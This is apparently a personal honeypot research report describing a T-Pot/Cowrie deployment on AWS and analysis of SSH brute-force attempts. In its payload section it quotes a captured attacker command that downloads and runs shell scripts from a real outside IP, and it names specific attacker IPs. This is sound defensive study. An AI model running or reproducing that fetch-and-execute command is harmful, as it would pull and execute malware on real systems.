Honeypot Project
(Threat Intelligence Report)
Intro
This will be an ongoing research project which involves setting up a vulnerable system (honeypot) using T-POT, and analyzing the different types of attacks performed against our system over a 24hr period. This exercise will help us to understand how different threat actors behave, what signatures they use and how we can potentially defend against the type of attacks that we observe in a real-world/enterprise environment. Throughout the course of this project, I will be analyzing the attacks on different honeypots, and writing a report on what was learned.
Defining Key Terms
To begin, I think it makes sense to define some of the key terms/programs that we will be working with. The first one is Honeypot: this is a deliberately vulnerable machine that is made to be attractive to would-be attackers so we can gather different types of data (location, techniques, payloads etc.) to help us understand how they operate and what their end goals are.
T-POT is a multi-Honeypot platform that is based on some well-established honeypots, the network IDS/IPS suricata, elasticsearch-logstash-kibana (ELK Stack), ewsposter and some docker functionality. The platform has a web interface that users can log into and access various types of reports/data, embedded applications and a easily navigable graphical user interface (GUI).
That said, for the purpose of this report, I will be conducting an analysis on one honeypot: Cowrie.
Cowrie is a medium to high interaction SSH and Telnet honeypot designed to log brute force attacks and the shell interaction performed by the attacker. In medium interaction mode (shell) it emulates a UNIX system in Python, in high interaction mode (proxy) it functions as an SSH and telnet proxy to observe attacker behavior to another system. In TPOT, cowrie operates on two ports: 22 (SSH) and 23 (telnet).
Getting started?
I wanted the Honeypot to be able to capture and store as much data as possible over an extended period of time, and I also knew that I would need a lot of space, which I did not have the capacity to accommodate.
With this in mind, I headed over to Amazon Web Services (AWS) and spun up an Elastic Cloud Compute (EC2) Instance in the ‘US East 1a’ region, and set it to run on a Debian 10 Buster OS. I was able to declare how much space I would need for my instance, (in this case at least 128gb) and set the security groups to allow all traffic, from everywhere, hoping to attract as many bad guys as possible. Once I was finished with the initial configurations, I was able to SSH into the instance and prep it for the TPOT install by updating and upgrading it, and installing ‘git.’
With the above steps completed, I then cloned the TPOTCE repository from https://github.com/telekom-security/tpotce.git and ran ‘sudo ./install.sh –type=user.’ I then SSH back into the instance (since I was kicked out during the setup process) and also access the webadmin portal with the credentials I created during the install. I was then brought to the dashboard and within literal minutes, I could see the first wave of attacks being logged in real time.
From the dashboard, I am able to select any of the plethora of honeypots being hosted in the web application, but as was stated above, in this report, I will be focusing on Cowrie.
8-Hour Analysis of Cowrie Honeypot
After the initial setup was complete, I left the honeypot running for a while so it could do what it was designed to do then returned sometime later to check. I set the filters to show activity from within the last 8 hours and started to dive into the data.
The first thing I noticed was that majority of the attacks on the machine seemed to originate in Switzerland, followed closely by the United States, with Belize, Russia and Italy rounding out the top-5.
Another histogram also showed that most of the attacks were being performed on port 22, indicating that attackers were attempting to SSH into our honeypot.
One of the many features of the TPOT/Kibana interface is that you are able to generate numerous reports, and one of the useful ones that we have at our disposal is a chart that shows the most-used usernames and passwords that the attackers have thrown at our honeypot. This is useful because you get to see some of the most common usernames and passwords that users have on their system based on the many different IP addresses that are attempting the same usernames and passwords.
As you can see, some of the most common usernames include ‘root’, ‘admin’ and ‘user’ which makes a strong case for changing the default credentials whenever you are setting up a device or a network.
I continued my investigation to try and determine where these attacks were coming from. I noticed that the majority of the attacks seem to be coming from a few IP addresses. One IP stood out to be in particular because in our 8-hour observation window, this IP address had performed an inordinate number of attacks on our honeypot. This IP address (179.43.175.170) had recorded 162 hits compared to the next highest count of 45 hits from 62.99.154.98.
Clicking on the IP address in the dashboard sends you to “https://talosintelligence.com/” where you are able to view some open source reputational information about the IP address. I was able to see that the IP address was located in Zurich, Switzerland and is associated with a Network Owner known as ‘Private Layer Inc’: Talos Intelligence also reports this site as untrusted and lists it as ‘malicious’ under their threat category.
I brought the IP address over to https://whatismyipaddress.com/ to see what more i could learn and found much of the same information; that it was located in Zurich, Switzerland, hosted by Private Layer INC and has the ASN (Automated System Number) 51852.
I looked into the ISP, Private Layer Inc. to see what I could find and my fist google search query brought up a link to scamalytics.com which considered the ISP to be potentially medium fraud risk. This, according to the website, means that “of the web traffic where we have visibility, approximately 54% is suspected to be potentially fraudulent.”
Payload Analysis
I set some filters within the Kibana application to see what kinds of commands were being run on my Cowrie honeypot. I was curious to find out what the attacker ip address 179.43.175.170 was trying to accomplish. In the ‘Discover’ tab, i searched for any ‘input’ coming from the source ip 179.43.175.170 and got some pretty interesting information.
IP : 179.43.175.170
Command: cd /data/local/tmp/; busybox wget http://209.141.33.122/w.sh; sh w.sh; curl http://209.141.33.122/c.sh; sh c.sh
As you can see, the attacker is accessing a world-readable folder and downloading some files. Let’s try to view the commands in more detail:
cd /data/local/tmp/
The ‘cd’ command is being used to change directory to the /tmp/ directory
‘busybox’
BusyBox combines tiny versions of many common UNIX utilities into a single small executable.
wget http://209.141.33.122/w.sh
The ‘wget’ command is being used to download a file (w.sh) being hosted on a web server at http://209.141.33.122/
‘sh’
The ‘sh’ utility is a command language interpreter that shall execute commands read from a command line string, the standard input, or a specified file (in this case the w.sh file)
curl http://209.141.33.122/c.sh
The ‘curl’ command is also being used to get a file (c.sh) from the same web server at http://209.141.33.122/
To summarize what we know so far:
- An attacker from a known malicious IP has accessed our machine
- They accessed the /tmp/ directory (world-readable, world-writable)
- They downloaded a few files into the tmp folder
- They tried to run the downloaded file
I decided to download the files myself and test them in my sandbox environment to see what they were really meant to do.
I decided to do this in my SIFT virtual machine which I reserved for cases such as this. I opened up a terminal and downloaded the files. Afterward, I made sure my Network Adapter was turned off to eliminate the risk of me running a potentially malicious file and inadvertently putting it out on the internet.
I ran the ‘strings’ command on both files, and saw that the output was basically a bunch of HTML code.
I then decided to make the files executable using the ‘chmod +x <file>’ command and then run them to see what kind of effect, if any, it had.
Conclusion
As you can see from the output, the downloaded files were not running as they were meant to. This led me to believe that the files probably weren’t properly configured to run on my OS. That said, the journey to get to this point was fascinating and allowed me to really explore the TPOT platform, get familiar with a lot of it’s tools and functionality and learn a little bit about how the bad guys operate.
Also, keep in mind that this investigation was focused on only a single IP address and one instance of them running commands on my Cowrie honeypot. For context, in a 24 hour period the honeypot had 1,010 attacks from 32 unique IP addresses, all running commands and executing attacks to satisfy their agendas.
This was a useful exercise for putting some of my information-gathering, data analysis and malware analysis skills to use in a real world environment. The experience gained from seeing real threat actors, carrying out actual attacks in real-time on what they see as a vulnerable system, is invaluable. I will continue with this project to keep me informed as much as possible in the fast-changing world of cybersecurity and use it to add tools to my repertoire to make me a better professional.
